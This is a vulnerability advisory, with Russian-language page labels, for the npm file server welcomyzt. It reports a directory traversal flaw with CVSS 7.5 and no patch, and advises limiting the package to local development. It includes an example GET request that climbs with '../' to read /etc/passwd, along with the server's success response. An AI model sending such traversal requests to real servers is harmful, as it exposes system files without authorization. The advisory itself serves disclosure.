Описание
Directory Traversal in welcomyzt
welcomyzt is a simple file server.
welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
and server Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Пакеты
Наименование
welcomyzt
npm
Затронутые версииВерсия исправления
>= 0.0.0
Отсутствует
Связанные уязвимости
CVSS3: 7.5
nvd
больше 7 лет назад
welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.